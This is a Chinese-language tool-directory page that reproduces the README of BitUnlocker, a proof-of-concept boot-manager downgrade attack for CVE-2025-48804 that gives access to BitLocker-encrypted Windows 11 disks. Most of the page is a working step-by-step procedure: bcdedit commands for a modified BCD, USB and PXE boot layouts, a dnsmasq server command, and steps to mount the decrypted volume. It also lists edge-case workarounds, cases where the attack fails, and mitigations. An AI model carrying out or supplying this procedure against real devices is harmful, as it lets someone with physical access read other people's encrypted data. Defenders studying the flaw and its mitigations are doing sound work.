Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
BitUnlocker — 降级攻击 for CVE-2025-48804 | Kitploit
工具/GitHubGitHub/garatc/bitunlocker
漏洞分析漏洞利用后渗透利用渗透测试硬件安全红队
GitHubgaratc/bitunlocker

BitUnlocker

降级攻击 for CVE-2025-48804

查看仓库
223449天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

BitUnlocker 降级攻击

License: MIT

一种概念验证方法,可在完全修补的 Windows 11 机器上,在 5 分钟内 访问 BitLocker 加密磁盘,通过引导管理器降级攻击利用最初记录为 CVE-2025-48804 的 SDI 漏洞。2025 年 7 月的补丁修复了 bootmgfw.efi,因此在 PCA 2011 下签名的任何预补丁 bootmgfw.efi 均可用于降级攻击,前提是目标系统信任该 PCA。

此 PoC 提供了两种交付方法:USB 启动(更简单,推荐)和 PXE 启动。但理论上,您也可以直接将 SDI 启动文件复制到默认未加密的分区(ESP 和恢复分区)中,而无需使用 USB 或 PXE——请参阅“边缘情况”表。

这项工作完全基于 Microsoft STORM(Netanel Ben Simon 和 Alon Leviev)的研究:

BitUnlocker:利用 Windows 恢复提取 BitLocker 密钥


前提条件

  • 对 BitLocker 加密设备(仅 TPM,PCR 7 + 11)的物理访问权
  • 设备的 Secure Boot 数据库仍信任 Microsoft Windows PCA 2011 证书
  • 一个 U 盘(推荐)或 一台装有 dnsmasq 和以太网线缆的 Linux 机器(用于 PXE)

逐步操作

1. 从 Releases 下载 boot_patched.sdi(或自行构建 SDI 文件,见下文)

将其放入 USB/sdi/(用于 USB 方法)或 TFTP-root/sdi/(用于 PXE 方法)。

2. 准备修改后的 BCD

在目标设备上,打开 WinRE 命令提示符(按住 Shift 同时点击 重启,然后选择 疑难解答 > 命令提示符——当提示输入 BitLocker 恢复密钥时点击“忽略此磁盘”,如果同时提示命令提示符无法在锁定设备上运行,请点击“重新启动”——如果命令提示符无法打开,请使用您自己的 WinPE)。插入 U 盘并运行:

root@kitploit:~
E: (或 U 盘所在盘符)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

在输出中,找到描述为 “Windows 恢复” 且包含 ramdisksdidevice / ramdisksdipath 条目的设备选项。记下其 GUID,然后:

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

将生成的 BCD 文件放入相应位置,具体取决于您的方法:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. 启动目标设备

选项 A:USB 启动(推荐)

将 U 盘格式化为 FAT32,然后将 USB/ 目录的内容复制到其根目录(仅复制内容,不应存在“USB”文件夹)。U 盘应如下所示:

root@kitploit:~
U盘根目录/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # 预补丁引导管理器(PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # 您修改后的 BCD
└── sdi/
    └── boot_patched.sdi        # 包含自定义 WinRE 的修补后 SDI

将 U 盘插入目标设备,触发 UEFI USB 启动——可以从 WinRE(使用设备)或通过按制造商启动菜单键(F12、F9 等)在开机时进行。如果 U 盘未出现在启动选项列表中,请在 UEFI 启动菜单中查找 “从文件启动” 选项,然后导航到 U 盘上的 EFI/Boot/bootx64.efi。

选项 B:PXE 启动

TFTP-root/ 目录结构如下:

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # 预补丁引导管理器(PCA 2011)
├── Boot/
│   └── BCD                     # 您修改后的 BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # 相同的预补丁引导管理器
└── sdi/
    └── boot_patched.sdi        # 包含自定义 WinRE 的修补后 SDI

通过以太网将目标设备连接到您的 Linux 机器,然后启动 PXE 服务器:

root@kitploit:~
cd BitUnlocker
export INTERFACE=<您的网络接口>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

在目标设备上触发 PXE 启动——从 WinRE 选择 使用设备 > IPv4 网络,或按制造商的 PXE 启动键。

4. 等待 SDI 传输

引导管理器将加载 BCD,然后开始下载 boot_patched.sdi。SDI 文件很大(约 300 MB),因此从 USB 加载需要一些时间,或者通过 TFTP 加载需要 几分钟。加载时,目标屏幕上应显示一条包含 SDI 路径的恢复相关消息。

5. 收获成果

传输完成后,应出现命令提示符,并且 OS 卷已解密并挂载(通常为 C: 或 E:)。如果未自动挂载或您不想猜测盘符,只需运行 diskpart -> sel vol X(选择看起来像加密驱动器的卷) -> assign letter=C(或其他盘符) -> exit -> 完成。

边缘情况


构建您自己的 SDI 文件

我在 scripts/ 中包含了两个脚本:

  • patch_sdi.py — 从 boot.sdi 和 WinRE.wim 文件构建修改后的 SDI 文件
  • parse_sdi.py — 解析 SDI 文件以验证其结构和内容

Releases 中提供的 boot_patched.sdi 文件包含一个修改后的 WinRE.wim,其启动应用程序为 cmd.exe。

无法利用的情况

  • 配置了 TPM + PIN 或 TPM + 密钥文件,且攻击者不知道
  • 已安装 KB5025885 / 引导管理器已迁移到 CA 2023 — 自 2026 年初以来新安装的机器很可能默认附带 CA 2023 签名的 bootmgfw.efi。要检查,请挂载 EFI 分区并检查活动二进制文件:mountvol S: /s 然后 sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi。请注意,C:\Windows\Boot\EFI\bootmgfw.efi 可能与实际用于启动的文件不同——始终检查 EFI 分区副本。
  • 非默认 PCR 策略 — 涉及 PCR 0、2 或 4 的配置将检测到启动路径的变化
  • 通过 DBX 撤销了 PCA 2011 — 如果旧证书已被明确不信任

缓解措施

  • 启用 TPM + PIN — 预启动 PIN 可防止 TPM 在没有用户交互的情况下解开 VMK,无论启动路径如何操纵。但请注意,这无法阻止知道 PIN 的内部人员。
  • 迁移到 Windows UEFI CA 2023 并应用 KB5025885 以完全防止降级攻击

致谢

Microsoft STORM(Netanel Ben Simon 和 Alon Leviev) 感谢其原创的 BitUnlocker 研究和漏洞披露。


许可证

本项目采用 MIT 许可证 授权。详情请参阅 LICENSE 文件。

免责声明

此存储库及其所有内容严格仅供 授权的安全测试和研究目的 使用。仅可对您拥有或已获得明确书面授权的系统使用此工具。未经授权访问计算机系统是违法的。作者不对因使用此材料而导致的任何误用或损害承担任何责任。

下载工具
情况结果
BitLocker 配置了您知道的 PIN启动时出现蓝屏——盲打 PIN(抱歉,此存储库未处理 BitLocker 字体)并按 Enter 键
蓝屏,无 PIN目标可能已迁移到 CA 2023——按 Escape 键让 SDI 传输完成,但 BitLocker 加密驱动器最终很可能仍处于锁定状态
仅 USB-C / Thunderbolt使用 USB-C 驱动器或 USB-以太网适配器(用于 PXE)
TFTP 文件未找到(除非是无关紧要的垃圾字体文件)文件名区分大小写——将 bootmgfw.efi 重命名为与目标请求的名称一致
不允许 PXE 或 USB 启动检查 ESP 和恢复分区的可用空间(diskpart -> list vol)。如果任一分区有足够的空间容纳提供的 Boot.sdi 文件(约 300 MB),则将其放入。然后,漏洞利用将略有不同(但同样快速),因为您需要直接修改目标系统的 BCD 文件(请备份),以指向未加密的主机分区(特别是 ramdisksdidevice BCD 条目),并将目标设备的 bootmgfw.efi 替换为此存储库 TFTP 文件夹中提供的版本。在这种情况下,请确保检查目标设备的引导管理器是否由 PCA 2011 签名(否则漏洞利用无论如何都无效,始终检查),否则系统将进入 BitLocker 恢复。另外,如果空间不足无法容纳此存储库提供的 Boot.sdi 文件,您可以尝试制作自己更小的版本,肯定有一些方法可以做到(请参阅下面的“构建您自己的 SDI 文件”部分)